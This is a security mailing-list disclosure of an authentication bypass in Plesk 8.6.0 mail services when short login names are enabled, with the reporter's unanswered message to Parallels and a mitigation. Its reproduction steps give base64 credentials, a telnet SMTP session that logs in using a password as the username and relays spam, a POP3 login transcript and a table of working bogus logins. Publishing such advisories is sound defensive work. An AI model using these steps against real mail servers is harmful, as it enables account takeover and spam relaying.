Hello, the reported vulnerability allows logins to mail and probably other services protected by plesk authentication modules on at least the current Plesk 8.6.0 Unix/Linux and could eg. be used for relaying spam through gained smtp auth priviledges. Only systems which allow short mail login names (SHORTNAMES=1) are affected, which is not the default but is eg. effective after migrating from Confixx control panel or by administrators manual choice. My curent advice is to disable short login names through control panel under Server -> E-Mail until the issue is resolved. NOTICE: I have tried to contact Parallels about this issue by E-Mail to bugreport (at) parallels (dot) com [email concealed], bugreports (at) parallels (dot) com [email concealed] and abuse (at) parallels (dot) com. [email concealed] With the E-Mail to bugreport and abuse being bounced and to bugreports being ignored. Tries to contact through web support form were unsuccessful because my plesk license is subcontracted from a serviced provide, so I see no other choice than gaining attention to this issue by releasing it to a security related mailing list. Below is the full Mail I sent to Parallels about this issue: ---snip--- Hello, I have discovered severe security flaws in Plesk 8.6.0 regarding the SHORTNAMES=1 feature for E-Mail logins, that could easily lead to compromised accounts and spam relaying. The bugs could be reproduced on an existing Plesk 8.6.0 system with data migrated from older Plesk Versions and originall from Confixx aswell as on a fresh test install of Plesk 8.6.0 both on OpenSUSE 10.3 x86_64 and using psa autoinstaller. (1) If SHORTNAMES=1 is active for smtp_psa or smtps_psa in xinetd, QMAIL will accept ANY correctly base64 encoded username which begins with a valid shortname or equals a valid password during AUTH LOGIN authentication. This is only fixed by completely removing SHORTNAMES=1 from smtp(s)_psa, simply setting it to 0 has no effect. Steps to reproduce: - make sure smtp_psa contains: "env = SMTPAUTH=1 SHORTNAMES=1" - generate a bogus username and encode to base64: "printf '<validalias><bogustext>' | base64" eg. 'fbbogus' -> ZmJib2d1cw== (alternatively and more easily reproducible encode <validpass> from below to base64 and use as a username) - encode a valid password of a mail user to base64 "printf '<validpass>' | base64" eg. 'password' -> cGFzc3dvcmQ= - telnet to mailserver smtp port < 220 HELO mailserver ESMTP > > AUTH LOGIN < 334 VXNlcm5hbWU6 > > cGFzc3dvcmQ= < 334 UGFzc3dvcmQ6 > > cGFzc3dvcmQ= < 235 go ahead > > DATA < 354 go ahead > > From: Spam Sender <bogus (at) bogusdomain (dot) com [email concealed]> > > To: Spam Receiver <outside (at) outsidedomain (dot) com [email concealed]> > > Subject: Get SPAM cheaply > > > > Message body. > > . < 250 ok 1219629627 qp 6032 > > QUIT < 221 mailserver The same Problem exists with Courier IMAP, checked over POP3 using cleartext USER / PASS and AUTH LOGIN authentication, SHORTNAMES=1 inside /etc/courier-imap/pop3d: telnet to mailserver pop3 port: +OK Hello there. <6274.1219631200@mailserver> USER password +OK Password required. PASS password +OK logged in. LIST +OK POP3 clients that break here, they violate STD53. . QUIT +OK Bye-bye. Example for working login combinations with sample domain somedomain.com and otherdomain.com: Mail account: test (at) somedomain (dot) com [email concealed] pass: somesecret Mail account: test2 (at) somedomain (dot) com [email concealed] pass: password Mail accound: fwd (at) otherdomain (dot) com [email concealed] forwarded to somewhere (at) else (dot) com [email concealed] Working login combinations with SHORTNAMES=1 OK: test / somesecret OK: test (at) somedomain (dot) com [email concealed] / somesecret OK: test2 / password OK: test2 (at) somedomain (dot) com [email concealed] / password BAD BUT WORKNG: somesecret / somesecret BAD BUT WORKING: password / password BAD BUT WORKING: test2bogus / somesecret NOT WORKING: test2bogus / password MAYBE NOT WORKING: testbogus / somesecret MAYBE WORKING: fwdbogus / somesecret MAYBE WORKING: fwdbogus / password I cannot reproduce this behaviour on all account on the production system, but removing SHORTNAMES=1 from alls mailserver configs fixes the behaviour, although I haven't experimented with stuff like test (at) somedomain (dot) comb [email concealed]ogustext as username. I have not currently reported this security vulnerability anywhere else to protect plesk customers, but will reserve the right to post this to public security notification lists, if action to fix this problem is not taken in a timely manner by Parallels. I can provide root login to the test system on request, just need to negotiate a timeframe because it's running in a VM behind a NAT router. Best Regards, Felix Buenemann ---snip--- Best Regards, Felix Buenemann